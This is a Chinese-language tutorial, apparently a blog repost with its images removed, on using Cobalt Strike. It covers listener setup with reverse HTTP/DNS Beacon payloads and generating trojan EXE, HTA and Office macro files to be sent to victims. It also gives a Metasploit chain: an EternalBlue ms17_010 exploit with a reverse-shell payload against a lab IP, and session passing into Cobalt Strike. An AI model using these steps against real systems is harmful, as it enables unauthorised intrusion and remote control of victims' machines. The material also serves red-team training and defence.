Web安全|CobaltStrike基础使用 cobaltstrike|网络安全|工具|CS

Cobalt Strike 简介
Cobalt Strike 分为客户端组件和服务器组件，服务器的组件也是团队服务器，可以放在局域网或者公网下进行团队使用，也是 Cobalt Strike 社会工程功能的托管机器，团队服务器还可以存储由 Cobalt Strike 收集的数据，并且进行日志管理 Cobalt Strike 服务器必须在 Linux 系统上运行，这里演示服务器在 Linux KALI 端，本地进行 Cobalt Strike 客户端的连接。

文章图片
CobaltStrike 集成了端口转发、服务扫描，自动化溢出，多模式端口监听，windows exe 木马生成，windows dll 木马生成，java 木马生成，office 宏病毒生成，木马捆绑。钓鱼攻击包。
CS的使用
启动 CS 服务端

文章图片

文章图片
启动客户端服务端启动后客户端启动进行连接（团队多人连接将用户名设置为自己的用来区分团队成员）

文章图片
主界面

文章图片

功能使用（主机上线）
1.设置监听器用来接收会话

文章图片
name：监听器名字
payload：payload 类型
Host: shell 反弹的主机，
kali IP Port: 反弹端口

文章图片

这里 Payload 有 9 种选项，如下内部的 Listener windows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe 外部的 Listener windows/foreign/reverse_dns_txt windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp

Beacon 为内置的监听器，在目标主机执行相应的 payload，获取 shell 到 cs 上; 其中包含 DNS、 HTTP、HTTPS 等，Beacon 可以选择通过 DNS 还是 HTTP/S 协议出口网络，甚至可以在使用 Beacon 通讯过程中切换 HTTP 和 DNS。其支持多主机连接，部署好 Beacon 后提交一个要连回的域名或主机的列表，Beacon 将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。通过种种方式获取 shell 以后（比如直接运行生成的 exe），就可以使用 Beacon 了。
Foreign 为外部结合的 Listener，经常用于 MSF 的结合，例如获取meterpreter 到 MSF 上
2.生成木马

HTML Application 生成恶意的 HTA 木马文件； MS Office Macro 生成 office 宏病毒文件； Payload Generator 生成各种语言版本的 payload; Windows Executable 生成可执行 exe 木马； Windows Executable(S) 生成无状态的可执行 exe 木马

文章图片

文章图片
这是生成 exe 文件，还可以生成宏病毒等上面介绍到的
生成后会保存到指定地方，通过某种方式上传到对方机器上，可以通过 Webshell 方式等这里不在讲解了受害者运行 exe 文件我们的 CS 就直接上线了

文章图片

发送给用户，用户双击我们的cs上就成功上线了主机

文章图片
3.正常我们进去需要调整响应的时间，sleep 3 就行。

文章图片

可以对我们上线的机器进行以下操作，也可以联动 MSF 进行使用
联动 MSF 使用
将 MSF 的会话转发到 CS 上
通过漏洞复现演示 MSF 获取目标 Session
KALI：192.168.50.218
CS：192.168.50.130
受害者 IP：192.168.50.185
1.发现漏洞

Nmap -A 扫描目标开放了 445 端口

文章图片

通过使用 MSF 辅助模块扫描发现存在 ms17_010 漏洞 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.50.185 exploit

文章图片
2. 查找漏洞利用模块

文章图片

漏洞利用 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set RHOST 192.168.50.185 Run

文章图片
获取后我们 background 获取 session

文章图片

与 CS 联动，将会话转发到 CS 中
CS 配置新建一个监听

文章图片

KALI 中配置 use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true set lhost 192.168.50.218 //KALI IP set lport 4443 与 CS 同端口 set session 1